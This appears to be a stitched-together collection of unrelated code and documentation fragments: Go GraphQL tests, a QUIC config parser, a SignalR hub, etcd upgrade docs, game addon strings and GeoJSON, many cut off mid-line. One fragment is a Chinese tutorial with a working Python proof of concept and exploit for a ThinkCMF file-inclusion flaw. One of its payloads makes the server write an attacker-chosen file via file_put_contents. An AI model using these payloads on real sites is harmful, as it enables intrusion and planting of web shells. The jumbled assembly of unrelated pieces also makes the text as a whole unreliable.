minified copy of the development build \\\" + 'of React. When deploying React apps to production, make sure to use ' + 'the production build which skips development warnings and is faster. ' + 'See https://fb.me/react-minification for more details.') : void 0;\\n\\n    // If we're in IE8, check to see if we are in compatibility mode and provide\\n    // information on preventing compatibility mode\\n    var ieCompatibilityMode = document.documentMode && document.documentMode < 8;\\n\\n    process.env.NODE_ENV !== 'production' ? warning(!ieCompatibilityMode, 'Internet Explorer is running in compatibility mode; please add the ' + 'following tag to your HTML to prevent this from happening: ' + '<meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"IE=edge\\\" />') : void 0;\\n\\n    var expectedFeatures = [\\n    // shims\\n    Array.isArray, Array.prototype.every, Array.prototype.forEach, Array.prototype.indexOf, Array.prototype.map, Date.now, Function.prototype.bind, Object.keys, String.prototype.trim];\\n\\n    for (var i = 0; i < expectedFeatures.length; i++) {\\n      if (!expectedFeatures[i]) {\\n        process.env.NODE_ENV !== 'production' ? warning(false, 'One or more ES


	},
							},
						},
					},
				}, Context{ctx: context.Background(), Variables: nil}, `{"errors":[{"message":"Cannot return null for non-nullable field 'Query.users.info.age'.","path":["users",0,"info","age"]}],"data":null}`
			}))
		})

		t.Run("single entity fetch", func(t *testing.T) {
			t.Run("all data", testFn(func(t *testing.T, ctrl *gomock.Controller) (node *GraphQLResponse, ctx Context, expectedOutput string) {
				userService := NewMockDataSource(ctrl)
				userService.EXPECT().
					Load(gomock.Any(), gomock.Any(), gomock.AssignableToTypeOf(&bytes.Buffer{})).
					DoAndReturn(func(ctx context.Context, input []byte, w io.Writer) (err error) {
						actual := string(input)
						expected := `{"method":"POST","url":"http://localhost:4001","body":{"query":"{ user { name info {id __typename}}}}"}}`
						assert.Equal(t, expected, actual)
						pair := NewBufPair()
						pair.Data.WriteString(`{"user":{"name":"Bill","info":{"id":11,"__typename":"Info"}}}`)
						return writeGraphqlResponse(pair, w, false)
					})

				infoService := NewMockDataSource(ctrl)
				infoService.EXPECT().
					Load(gomock.Any(), gomock.Any(), gomock.AssignableToTypeOf(&bytes.Buffer{})).
					DoAndReturn(func(ctx context.Context, input []byte, w io.Writer) (err error) {
						actual := string(input)
						expected := `{"method":"POST","url":"http://localhost:4002","body":{"query":"query($representations: [_Any!]!){_entities(representations: $representations) { ... on Info { age }}}}}","variables":{"representations":[{"id":11,"__typename":"Info"}]}}}`
						assert.Equal(t, expected, actual)
						pair := NewBufPair()
						pair.Data.WriteString(`{"_entities":[{"age":21,"__typename":"Info"}]}`)
						return writeGraphqlResponse(pair, w, false)
					})

				return &GraphQLResponse{
					Fetches: Sequence(
						Single(&SingleFetch{
							InputTemplate: InputTemplate{
								Segments: []TemplateSegment{
									{
										Data:        []byte(`{"method":"POST","url":"http://localhost:4001","body":{"query":"{ user { name info {id __typename}}}}"}}`),
										SegmentType: StaticSegmentType,
									},
								},
							},
							FetchConfiguration: FetchConfiguration{
								DataSource: userService,
								PostProcessing: PostProcessingConfiguration{
									SelectResponseDataPath: []string{"data"},
								},
							},
						}),
						SingleWithPath(&EntityFetch{
							FetchDependencies: FetchDependencies{
								FetchID:           1,
								DependsOnFetchIDs: []int{0},
							},
							Input: EntityInput{
								Header: InputTemplate{
									Segments: []TemplateSegment{
										{
											Data:        []byte(`{"method":"POST","url":"http://localhost:4002","body":{"query":"query($representations: [_Any!]!){_entities(representations: $representations) { ... on Info { age }}}}}","variables":{"representations":[`),
											SegmentType: StaticSegmentType,
										},
									},
								},
								Item: InputTemplate{
									Segments: []TemplateSegment{
										{
											SegmentType:  VariableSegmentType,
											VariableKind: ResolvableObjectVariableKind,
											Renderer: NewGraphQLVariableResolveRenderer(&Object{
												Fields: []*Field{
													{
														Name: []byte("id"),
														Value: &Integer{
															Path: []string{"id"},
														},
														OnTypeNames: [][]byte{[]byte("Info")},
													},
													{
														Name: []byte("__typename"),
														Value: &String{
															Path: []string{"__typename"},
														},
														OnTypeNam


type serverConfigClient struct {
	raw    []byte
	ID     []byte
	obit   []byte
	expiry time.Time

	kex          crypto.KeyExchange
	sharedSecret []byte
}

var (
	errMessageNotServerConfig = errors.New("ServerConfig must have TagSCFG")
)

// parseServerConfig parses a server config
func parseServerConfig(data []byte) (*serverConfigClient, error) {
	message, err := ParseHandshakeMessage(bytes.NewReader(data))
	if err != nil {
		return nil, err
	}
	if message.Tag != TagSCFG {
		return nil, errMessageNotServerConfig
	}

	scfg := &serverConfigClient{raw: data}
	err = scfg.parseValues(message.Data)
	if err != nil {
		return nil, err
	}

	return scfg, nil
}

func (s *serverConfigClient) parseValues(tagMap map[Tag][]byte) error {
	// SCID
	scfgID, ok := tagMap[TagSCID]
	if !ok {
		return qerr.Error(qerr.CryptoMessageParameterNotFound, "SCID")
	}
	if len(scfgID) != 16 {
		return qerr.Error(qerr.CryptoInvalidValueLength, "SCID")
	}
	s.ID = scfgID

	// KEXS
	// TODO: setup Key Exchange
	kexs, ok := tagMap[TagKEXS]
	if !ok {
		return qerr.Error(qerr.CryptoMessageParameterNotFound, "KEXS")
	}
	if len(kexs)%4 != 0 {
		return qerr.Error(qerr.CryptoInvalidValueLength, "KEXS")
	}
	c255Foundat := -1

	for i := 0; i < len(kexs)/4; i++ {
		if bytes.Equal(kexs[4*i:4*i+4], []byte("C255")) {
			c255Foundat = i
			break
		}
	}
	if c255Foundat < 0 {
		return qerr.Error(qerr.CryptoNoSupport, "KEXS: Could not find C255, other key exchanges are not supported")
	}

	// AEAD
	aead, ok := tagMap[TagAEAD]
	if !ok {
		return qerr.Error(qerr.CryptoMessageParameterNotFound, "AEAD")
	}
	if len(aead)%4 != 0 {
		return qerr.Error(qerr.CryptoInvalidValueLength, "AEAD")
	}
	var aesgFound bool
	for i := 0; i < len(aead)/4; i++ {
		if bytes.Equal(aead[4*i:4*i+4], []byte("AESG")) {
			aesgFound = true
			break
		}
	}
	if !aesgFound {
		return qerr.Error(qerr.CryptoNoSupport, "AEAD")
	}

	// PUBS
	pubs, ok := tagMap[TagPUBS]
	if !ok {
		return qerr.Error(qerr.CryptoMessageParameterNotFound, "PUBS")
	}

	var pubsKexs []struct {
		Length uint32
		Value  []byte
	}
	var lastLen uint32
	for i := 0; i < len(pubs)-3; i += int(lastLen) + 3 {
		// the PUBS value is always prepended by 3 byte little endian length field

		err := binary.Read(bytes.NewReader([]byte{pubs[i], pubs[i+1], pubs[i+2], 0x00}), binary.LittleEndian, &lastLen)
		if err != nil {
			return qerr.Error(qerr.CryptoInvalidValueLength, "PUBS not decodable")
		}
		if lastLen == 0 {
			return qerr.Error(qerr.CryptoInvalidValueLength, "PUBS")
		}

		if i+3+int(lastLen) > len(pubs) {
			return qerr.Error(qerr.CryptoInvalidValueLength, "PUBS")
		}

		pubsKexs = append(pubsKexs, struct {
			Leng


using Microsoft.AspNetCore.SignalR;
using Signum.Authorization;

namespace Signum.ConcurrentUser;

public interface IConcurrentUserClient
{
    Task EntitySaved(string liteKey, string? newTicks);

    Task ConcurrentUsersChanged();
}

public class ConcurrentUserHub : Hub<IConcurrentUserClient>
{
    public override Task OnConnectedAsync()
    {
        return base.OnConnectedAsync();
    }

    public override Task OnDisconnectedAsync(Exception? exception)
    {
        using (AuthLogic.Disable())
        {
            var entities = Database.Query<ConcurrentUserEntity>()
                .Where(a => a.SignalRConnectionID == this.Context.ConnectionId).Select(a => a.TargetEntity).ToList();

            Database.Query<ConcurrentUserEntity>().Where(a => a.SignalRConnectionID == this.Context.ConnectionId).UnsafeDelete();

            ConcurrentUserServer.UpdateConcurrentUsers(entities.Select(a => a.Key()).ToHashSet());
        }
        return base.OnDisconnectedAsync(exception);
    }

    public static Action CleanConcurrentUsersIfNeeded = () =>
    {
        if (Random.Shared.Next(100) == 0)
        {
            Database.Query<ConcurrentUserEntity>().Where(a => a.StartTime < Clock.Now.AddDays(-1)).UnsafeDelete();
        }
    };

    public Task EnterEntity(string liteKey, string userKey)
    {
        var lite = Lite.Parse(liteKey);
        var user = (Lite<UserEntity>)Lite.Parse(userKey);
        using (AuthLogic.Disable())
        using (OperationLogic.AllowSave<ConcurrentUserEntity>())
        {
            CleanConcurrentUsersIfNeeded();

            new ConcurrentUserEntity
            {
                TargetEntity = lite,
                User = user,
                Start


下例如`POC`，是否能够准确的验证出来，取决于返回包的内容是否能够进行判断，至于`URL`，漏洞的`URL`都是固定的，这个没什么疑惑。

这里我直接放置这个文件包含的，整体`POC`及`EXP`，当然你分开也可以，仔细观察这些代码，其实能够看出来，基本上就是一套模板，然后根据返回的响应内容来进行二次判断。

当然我这边的代码其实并不是很周全，比如关于输入的`http`与`https`的校验等等均没有写，这个就属于处理用户输入进来的内容，这部分涉及不到很复杂的内容，自己修改吧！

```python
import argparse
import requests
import sys
import re

import requests

def poc(url, port):
    payload = "/?a=display&templateFile=README.md"
    url1 = f"{url}:{port}{payload}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate, br",
               "DNT": "1", "Connection": "close"}
    try:
        r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)
        if r.status_code == 200 and "ThinkCMF是一款" in r.text:
            print(f"[+]{url}存在Thinkcmf文件包含漏洞")
        else:
            print(f"[-]{url}不存在Thinkcmf文件包含漏洞")
    except Exception as e:
        print(f"[-]{url}存在异常，请检查！")
        sys.exit(1)

def exp(url, port, document):
    payload = f"/?a=display&templateFile={document}"
    url1 = f"{url}:{port}{payload}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate, br",
               "DNT": "1", "Connection": "close"}
    try:
        r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)
        pattern = r"^(.*?)<div id=\"think_page_trace\" style=\"position: fixed;bottom:0;"
        match = re.search(pattern, r.text, re.DOTALL)
        if r.status_code == 200 and match:
            print(match.group(1).strip())
        else:
            print("没有找到匹配的内容")
    except Exception as e:
        print(f"[-]{url}存在异常，请检查！")
        sys.exit(1)

def exp1(url, port, contain, execute):
    payload = f"/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27{contain}%27,{execute})%3C/php%3E"
    url1 = f"{url}:{port}{payload}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",


  continue
                # mapping 需包含 'key' 与 'value'
                keys = list(generate(mapping["key"]))
                vals = list(generate(mapping["value"]))
                for k, v in zip(keys, vals):
                    if isinstance(v, NUMERIC_TYPES):  # 只保留数值 value
                        yield v
    else:
        raise ValueError(f"Unsupported container type: {key}")

def generate(schema: Dict[str, Any]) -> Generator[Any, None, None]:
    """主递归生成器：接受单键 schema，产出叶子数据"""
    if len(schema) != 1:
        raise ValueError("schema must contain exactly one root key")
    key, rule = next(iter(schema.items()))

    if key in BASE_KEYS:
        yield from _gen_primitive(key, rule)
    elif key in CONTAINER_KEYS:
        yield from _gen_container(key, rule)
    else:
        raise ValueError(f"Unknown schema key: {key}")

###############################################################################
# 对外采样接口
###############################################################################

@with_statistics(sum, max, min, calc_mean, calc_std, len)
def sampling(**schemas):
    """按用户传入的多项 schema 依次采样"""
    for k, v in schemas.items():
        yield from generate({k: v})

###############################################################################
# 示例运行
###############################################################################
if __name__ == "__main__":
    # 示例 1：扁平元组
    print("示例 1：扁平元组")
    res1 = sampling(
        tuple={
            "num": 100,
            "int":   {"num": 2, "datarange": (0, 1000)},
            "float": {"num": 2, "datarange": (0.0, 1000.0)},
            "str":   {"num": 3, "datarange": string.ascii_letters, "len": 5},
        }
    )
    print(res1)

    # 示例 2：嵌套元组
    print("\n示例 2：嵌套元组")
    res2 = sampling(
        tuple={
            "num": 50,
            "tuple": {
                "num": 3,
                "int":   {"num": 2, "datarange": (1, 100)},
                "float": {"num": 2, "datarange": (1.0, 100.0), "precision": 2},
            },
        }
    )
    print(res2)

    # 示例 3：列表混合
    print("\n示例 3：列表混合")
    res3 = sampling(
        list={
            "num": 1,
            "int":   {"num": 10, "datarange": (1, 10)},
            "bool":  {"num": 5},
            "choice": {"num": 3, "options": [10, 20, 30, 40, 50]},
        }
    )
    print(res3)


2379]} to cluster a9ededbffcb1b1f1
```

Verify that each member, and then the entire cluster, becomes healthy with the new v3.3 etcd binary:

```
$ ETCDCTL_API=3 /etcdctl endpoint health --endpoints=localhost:2379,localhost:22379,localhost:32379
localhost:22379 is healthy: successfully committed proposal: took = 5.540129ms
localhost:32379 is healthy: successfully committed proposal: took = 7.321771ms
localhost:2379 is healthy: successfully committed proposal: took = 10.629901ms
```

Upgraded members will log warnings like the following until the entire cluster is upgraded. This is expected and will cease after all etcd cluster members are upgraded to v3.3:

```
14:15:17.071804 W | etcdserver: member c89feb932daef420 has a higher version 3.3.0
14:15:21.073110 W | etcdserver: the local etcd version 3.2.7 is not up-to-date
14:15:21.073142 W | etcdserver: member 6d4f535bae3ab960 has a higher version 3.3.0
14:15:21.073157 W | etcdserver: the local etcd version 3.2.7 is not up-to-date
14:15:21.073164 W | etcdserver: member c89feb932daef420 has a higher version 3.3.0
```

#### 4. Repeat step 2 to step 3 for all other members

#### 5. Finish

When all members are upgraded, the cluster will report upgrading to 3.3 successfully:

```
14:15:54.536901 N | etcdserver/membership: updated the cluster version from 3.2 to 3.3
14:15:54.537035 I | etcdserver/api: enabled capabilities for version 3.3
```

```
$ ETCDCTL_API=3 /etcdctl endpoint health --endpoints=localhost:2379,localhost:22379,localhost:32379
localhost:2379 is healthy: successfully committed proposal: took = 2.312897ms
localhost:22379 is healthy: successfully committed proposal: took = 2.553476ms
localhost:32379 is healthy: successfully committed proposal: took = 2.517902ms
```

[etcd-contact]: https://groups.google.com/g/etcd-dev
---
title: How to check Cluster status
description: Guide to checking etcd cluster status
weight: 1000
---

## Prerequisites

* Install [`etcd` and `etcdctl`](https://etcd.io/docs/v3.6/install/)

## Check Overall Status

`endpoint status` to check the overall status of each endpoint specified in `--endpoints` flag:

```bash
etcdctl endpoint status (--endpoints=$ENDPOINTS|--cluster)
```

### Options

```bash
--cluster[=false]: use all endpoints from the cluster member list
```

## Check Health

`endpoint health` to check the healthiness of each endpoint specified in `--endpoints` flag:

```bash
etcdctl endpoint health (--endpoints=$ENDPOINTS|--cluster)
```

### Options

```bash
--cluster[=false]: use all endpoints from the cluster member list
```

## Check KV Hash

`endpoint hashkv` to check the KV history hash of each endpoint specified in `--endpoints` flag:

```bash
etcdctl endpoint hashkv (--endpoints=$ENDPOINTS|--cluster) [rev=$REV]
```

### Options

```bash
--cluster[=false]: use all endpoints from the cluster member list
--rev=0: maximum revision to hash (default: latest revision)
```

## Options inherited from parent commands

```bash
--endpoints="127.0.0.1:2379": gRPC endpoints
-w, --write-out="simple": set the output format (fields, json, protobuf, simple, table)
```

### Examples

```shell
etcdctl --write-out=table --endpoints=$ENDPOINTS endpoint status

+------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
|    ENDPOINT      |        ID        | VERSION | DB SIZE | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS |
+----------------


("CHARACTER").unwrap().as_str())
        .server(env::var("SERVER").unwrap().as_str())
        .prefix(env::var("PREFIX").unwrap().as_str())
        .database(PgConnection::establish(env::var("DATABASE_URL").unwrap().as_str()).expect(&format!("Error connecting to database.")))
        .register_event(::events::owner::accept_owner_invite, ::fchat::event::OnEvent::ChannelInvite)
        .register_event(::events::all::add_new_user_on_join, ::fchat::event::OnEvent::ChannelJoin)
        .register_command(::commands::owner::set_role, ::fchat::command::OnEvent::ChannelMessage, "set_role")
        .register_command(::commands::owner::check_favor, ::fchat::command::OnEvent::PrivateMessage, "check_favor")
        .register_command(::commands::currency::tip, ::fchat::command::OnEvent::ChannelMessage, "tip")
        .register_command(::commands::currency::favor, ::fchat::command::OnEvent::ChannelMessage, "favor")
        .register_command(::commands::workers::clockin, ::fchat::command::OnEvent::PrivateMessage, "clockin")
        .register_command(::commands::workers::clockout, ::fchat::command::OnEvent::PrivateMessage, "clockout")
        .register_command(::commands::workers::confirm, ::fchat::command::OnEvent::PrivateMessage, "confirm")
        .register_command(::commands::workers::deny, ::fchat::command::OnEvent::PrivateMessage, "deny")
        .register_command(::commands::customers::list, ::fchat::command::OnEvent::PrivateMessage, "list")
        .register_command(::commands::customers::offer, ::fchat::command::OnEvent::PrivateMessage, "offer")
        .run();
}
#![feature(try_trait_v2)]

pub use abi::*;
pub use types::*;
pub use wasm::*;
pub use wasmy_macros::{wasm_handle, wasm_onload};

pub mod abi;
pub mod test;
pub mod types;
mod wasm;
<reponame>thejohncrafter/projets-2020

use std::collections::HashMap;

use super::parsing::*;
use super::types::*;

pub fn build_graph(netlist: Netlist) -> Result<OpsGraph, String> {
    // Maps the variable names to :
    //  * their identifier
    //  * their address
    //  * their length
    let mut addresses: HashMap<&str, (usize, usize, u32)> = HashMap::new();
    let mut mem_size: usize = 0;

    netlist.vars.iter().enumerate().try_for_each(|(id, (name, ty))| {
        let len = match ty {
            ValueType::Bit => 1,
            ValueType::BitArray(k) => *k
                // We checked during parsing that k != 0.
        };

        let prev = addresses.insert(name, (id, mem_size, len));
        mem_size += len as usize;

        if prev.is_some() {
            Err(format!("Variable \"{}\" already declared.", name))
        } else {
            Ok(())
        }
    })?;

    let mut edges = netlist.vars.iter()
        .map(|(name, _)| {
            let address = addresses.get(name.as_str()).unwrap().1;
            PartialVarInfo::new(name.clone(), address)
        })
        .collect::<Vec<_>>();

    let mut mem_ops = Vec::new();
    let mut mems = Vec::new();

    let find_var = |name: &str| -> Result<(usize, usize, u32), String> {
        match addresses.get(name) {
            Some(k) => Ok(*k),
            None => Err(format!("Can't find variable {}.", name))


ae59]{display:table-cell;vertical-align:middle;line-height:16px}.task .__content[data-v-2b35ae59]{background:#fff;border-radius:16px;padding:12px 24px 24px 24px}.task .__content .__paging[data-v-2b35ae59]{margin-top:24px;text-align:right}.task .__content .__paging[data-v-2b35ae59] .el-pagination .el-input--mini .el-input__inner{height:28px;line-height:28px}.task-card[data-v-2b35ae59]{margin-top:10px;background:#fff;border-radius:16px;padding:40px}.task-card-footer[data-v-2b35ae59]{position:fixed;width:calc(100% - 96px);height:52px;bottom:0;left:96px;text-align:center;line-height:52px;background-color:#fff;z-index:100}.task-content[data-v-2b35ae59]{margin-top:10px}.task-content .__body[data-v-2b35ae59]{margin:10px 0;padding:24px;background-color:#fff}.task-content .__tools[data-v-2b35ae59]{margin:24px 0}.task-content .__search[data-v-2b35ae59]{margin:24px 0;padding:24px 42px;background-color:#fff;border-radius:16px}.task-content .__card[data-v-2b35ae59]{margin-bottom:20px}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top>.el-tabs__header{border-bottom:0 solid #e4e7ed;margin:0}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top>.el-tabs__header .el-tabs__nav{border:0}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top>.el-tabs__header .el-tabs__item{color:#8c8c8c;border:0;font-weight:400}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top>.el-tabs__header .el-tabs__item:first-child{border-left:none}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top>.el-tabs__header .el-tabs__item.is-active{background:#fff;border-radius:16px 16px 0 0;color:#623ceb}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top .el-tabs__content .el-tab-pane{border-radius:16px;background:#fff;padding:24px}.task-content .__tabs[data-v-2b35ae59] .el-tabs.el-tabs--card.el-tabs--top .el-tabs__content .el-tab-pane:first-child{border-radius:0 16px 16px 16px;background:#fff}.task-background[data-v-f5f1fe48]{width:100%;height:360px;position:relative}.task-background1[data-v-f5f1fe48]{width:1500px;height:1500px;border-radius:0 1500px;transform:rotate(-45deg);left:50%;margin-left:-750px;top:-800px}.task-background1[data-v-f5f1fe48],.task-background2[data-v-f5f1fe48]{background:linear-gradient(-55deg,#e60b30,rgba(230,11,48,.75));position:absolute}.task-background2[data-v-f5f1fe48]{left:0;to


        if (_steps == ESteps.None || _steps == ESteps.Done)
                return;

            if (_steps == ESteps.LoadVersion)
            {
                string versionFilePath = _fileSystem.GetEditorPackageVersionFilePath();
                if (File.Exists(versionFilePath))
                {
                    _steps = ESteps.Done;
                    PackageVersion = FileUtility.ReadAllText(versionFilePath);
                    Status = EOperationStatus.Succeed;
                }
                else
                {
                    _steps = ESteps.Done;
                    Status = EOperationStatus.Failed;
                    Error = $"Can not found simulation package version file : {versionFilePath}";
                }
            }
        }
    }
}


dle, Buffer);
        }

        protected virtual Int32 L2CAP_Disconnection_Request(Byte[] Handle, Byte Id, Byte[] DCID, Byte[] SCID)
        {
            Byte[] Buffer = new Byte[8];

            Buffer[0] = 0x06;
            Buffer[1] = Id;
            Buffer[2] = 0x04;
            Buffer[3] = 0x00;
            Buffer[4] = DCID[0];
            Buffer[5] = DCID[1];
            Buffer[6] = SCID[0];
            Buffer[7] = SCID[1];

            return L2CAP_Command(Handle, Buffer);
        }

        protected virtual Int32 L2CAP_Disconnection_Response(Byte[] Handle, Byte Id, Byte[] DCID, Byte[] SCID)
        {
            Byte[] Buffer = new Byte[8];

            Buffer[0] = 0x07;
            Buffer[1] = Id;
            Buffer[2] = 0x04;
            Buffer[3] = 0x00;
            Buffer[4] = DCID[0];
            Buffer[5] = DCID[1];
            Buffer[6] = SCID[0];
            Buffer[7] = SCID[1];

            return L2CAP_Command(Handle, Buffer);
        }
        #endregion

        #region HIDP Commands
        public virtual Int32 HID_Command(Byte[] Handle, Byte[] Channel, Byte[] Data)
        {
            Int32 Transfered = 0;
            Byte[] Buffer = new Byte[Data.Length + 8];

            Buffer[0] = Handle[0];
            Buffer[1] = Handle[1];
            Buffer[2] = (Byte)((Data.Length + 4) % 256);
            Buffer[3] = (Byte)((Data.Length + 4) / 256);
            Buffer[4] = (Byte)(Data.Length % 256);
            Buffer[5] = (Byte)(Data.Length / 256);
            Buffer[6] = Channel[0];
            Buffer[7] = Channel[1];

            for (int i = 0; i < Data.Length; i++) Buffer[i + 8] = Data[i];

            WriteBulkPipe(Buffer, Data.Length + 8, ref Transfered);
            return Transfered;
        }
        #endregion
    }
}


K4kVKpVNixY4c/ti";
			d += "/hsL4M2sVIZGQkqdVqMhgMZDabv2gS/KixIzqclJTkV1/bt2/3qkm3b98WfTEicbsaGwCQIPZ";
			d += "+gH+3d+LECRQXFyMtLQ1hYWHOBwDsdjvsdjsAYHx8HFqtFmq1WuDdfYlMJsPjx4+hVCqhVCpB";
			d += "RDCZTBgeHoZGo8GNGzdgMBh8zf4EFwSadydABuA/AC4HI9QSGxsLlUqF1NRUKJVK2Gw2jI2NY";
			d += "WBgAHq9HhMTE/hGcsbb5WhIXo//TJD4mSLzM0nKo4R8mhwQ4omSDgnpVFmHhHSyNJ+EkE2X55";
			d += "tDyL4wwXeMIfvKDH+JDNmXptx3jCH52pz72SFkX5yE21E6JF+ddZdl9/K05CuSsSxen/8/Sd3";
			d += "GJdqpTWgAAAAASUVORK5CYII=";
			ga.Logo = new Texture2D(1,1);
			ga.Logo.LoadImage(System.Convert.FromBase64String(d));*/
		}

		/*if (ga.UseBundleVersion)
		{
			ga.Build = PlayerSettings.bundleVersion;
		}*/
	}

	override public void OnInspectorGUI ()
	{
		GA_Settings ga = target as GA_Settings;

		EditorGUI.indentLevel = 1;
		EditorGUILayout.Space();

		GUILayout.BeginHorizontal();

		GUILayout.Label(ga.Logo);

		GUILayout.BeginVertical();

		GUILayout.Label("GameAnalytics Unity SDK v." + GA_Settings.VERSION);

		GUILayout.BeginHorizontal();

		if (GUILayout.Button(_myPageLink, GUILayout.MaxWidth(75)))
		{
			Application.OpenURL("http://easy.gameanalytics.com/LoginGA");
		}
		if (GUILayout.Button(_documentationLink, GUILayout.MaxWidth(75)))
		{
			Application.OpenURL("http://easy.gameanalytics.com/SupportDocu");
		}
		if (GUILayout.Button(_checkForUpdates, GUILayout.MaxWidth(75)))
		{
			Application.OpenURL("http://easy.gameanalytics.com/DownloadSetup");
		}

		GUILayout.EndHorizontal();

		string updateStatus = GA_UpdateWindow.UpdateStatus(GA_Settings.VERSION);

		GUILayout.Space(5);
		GUILayout.BeginHorizontal();

		if (!updateStatus.Equals(string.Empty))
		{
			if (_orangeUpdateLabelStyle == null)
			{
				_orangeUpdateLabelStyle = new GUIStyle(EditorStyles.wordWrappedLabel);
				_orangeUpdateLabelStyle.normal.textColor = new Color(0.875f, 0.309f, 0.094f);
			}
			if (_orangeUpdateIconStyle == null)
			{
				_orangeUpdateIconStyle = new GUIStyle(EditorStyles.wordWrappedLabel);
			}

			if (GUILayout.Button(ga.UpdateIcon, _orangeUpdateIconStyle, GUILayout.MaxWidth(17)))
			{
				OpenUpdateWindow();
			}

			GUILayout.Label(updateStatus, _orangeUpdateLabelStyle);
		}
		else
			GUILayout.Label("");

		GUILayout.EndHorizontal();

		GUILayout.EndVertical();

		GUILayout.EndHorizontal();

		//Hints
		/*ga.DisplayHints = EditorGUILayout.Foldout(ga.DisplayHints,"Show Hints");
		if (ga.DisplayHints)
		{
			ga.DisplayHintsScrollState = GUILayout.BeginScrollView(ga.DisplayHintsScrollState, GUILayout.Height (100));

			List<GA_Settings.HelpInfo> helpInfos = ga.GetHelpMessageList();
			foreach(GA_Settings.HelpInfo info in helpInfos)
			{
				MessageType msgType = ConvertMessageType(info.MsgType);
				EditorGUILayout.HelpBox(info.Message, msgType);
			}

			GUILayou


,
	DECORATOR_TYPE_INVERT = 3,
	DECORATOR_TYPE_REPEAT = 5,
}

--- @enum DecoratorTypeUntil
ai.BehaviorTask = {
	DECORATOR_TYPE_UNTIL_FAIL = 6,
	DECORATOR_TYPE_UNTIL_SUCCESS = 7,
}

--- @enum Type
ai.BehaviorTask = {
	TYPE_SELECTOR = 0,
	TYPE_SEQUENCE = 1,
}

--- @enum ParameterT


定檔：\n\n|cFF33FF99\"%s\"|r\n\n確定要修改嗎？修改設定檔後，會自動切換到該設定檔。"
L.no_string_available = "沒有字串可以匯入。請先匯入一個字串。"
L.no_import_message = "未導入任何設定。"
L.import_success = "匯入：%s" -- Imported: Bar Anchors, Message Colors
L.imported_bar_positions = "計時條位置"
L.imported_bar_settings = "計時條選項設定"
L.imported_bar_colors = "計時條顏色"
L.imported_message_positions = "訊息位置"
L.imported_message_settings = "訊息選項設定"
L.imported_message_colors = "訊息顏色"
L.imported_countdown_position = "倒數位置"
L.imported_countdown_settings = "倒數選項設定"
L.imported_countdown_color = "倒數文字顏色"
L.imported_nameplate_settings = "名條選項設定"
L.imported_mythicplus_settings = "傳奇+ 設定"
L.mythicplus_settings_import_desc = "匯入傳奇+ 設定。"
L.mythicplus_settings_export_desc = "匯出傳奇+ 設定。"
L.imported_battleres_settings = "戰復設定"
L.battleres_settings_import_desc = "匯入戰復設定。"
L.battleres_settings_export_desc = "匯出戰復設定。"

-- Statistics
L.statistics = "統計"
L.defeat = "戰敗"
L.defeat_desc = "你被該首領擊敗的總次數。"
L.victory = "獲勝"
L.victory_desc = "你戰勝該首領的總次數。"
L.fastest = "最佳"
L.fastest_desc = "你與該首領的最快獲勝紀錄，和創下紀錄的日期 (年/月/日)"
L.first = "首勝"
L.first_desc = "你與該首領的首次獲勝紀錄，格式是：:\n[首勝前的戰敗次數] - [戰鬥時長] - [獲勝的年/月/日]"

-- Difficulty levels for statistics display on bosses
L.unknown = "未知"
L.LFR = "隨機團隊"
L.normal = "普通模式"
L.heroic = "英雄模式"
L.mythic = "傳奇模式"
L.LFR_timerun = "|A:timerunning-glues-icon:14:14|a隨機團隊"
L.normal_timerun = "|A:timerunning-glues-icon:14:14|a普通模式"
L.heroic_timerun = "|A:timerunning-glues-icon:14:14|a英雄模式"
L.mythic_timerun = "|A:timerunning-glues-icon:14:14|a傳奇模式"
L.timewalk = "時光漫遊"
L.solotier8 = "單人 8 層"
L.solotier11 = "單人 11 層"
L.story = "故事"
L.mplus = "傳奇難度+ %d"
L.SOD = "探索賽季"
L.hardcore = "專家模式"
L.level1


3.82850522025272,45.0746711426112],[23.80410906914096,45.06711922197346],[23.782589503062333,45.06336266328039],[23.764956263088457,45.08398966289163],[23.76556803148186,45.10032691521583],[23.751000267347514,45.106561659721166],[23.755269129755515,45.11806430546096],[23.770677526038913,45.12467363140443],[23.76991706525301,45.140900813083746],[23.783547092421784,45.14609498884749],[23.79077994671536,45.15402237853445]]]},"properties":{"countyId":"Alimpești", "scoring":"0","procente":"
Populatie: 1785
 Total consilieri: 11
 Procent USRPLUS: 5.79%
 Necesar consilieri USRPLUS: 0.64
 Necesar rotunjit: 0" }},
       {"type":"Feature","geometry":{"type":"Polygon","coordinates":[[[26.298680324594088,45.14140314875649],[26.29782074230244,45.13053997454205],[26.31071688619276,45.12473905771306],[26.29728081954046,45.111059821751546],[26.27182013871153,45.11111370569796],[26.236360394423194,45.10358778184522],[26.23564007999408,45.13513167075933],[26.230539036614907,45.15120946178126],[26.231726852286826,45.153380851982455],[26.242671228675096,45.13890110103277],[26.26497233732852,45.14114047399036],[26.266704232714467,45.14739957331248],[26.298680324594088,45.14140314875649]]]},"properties":{"countyId":"Apostolache", "scoring":"1","procente":"
Populatie: 2059
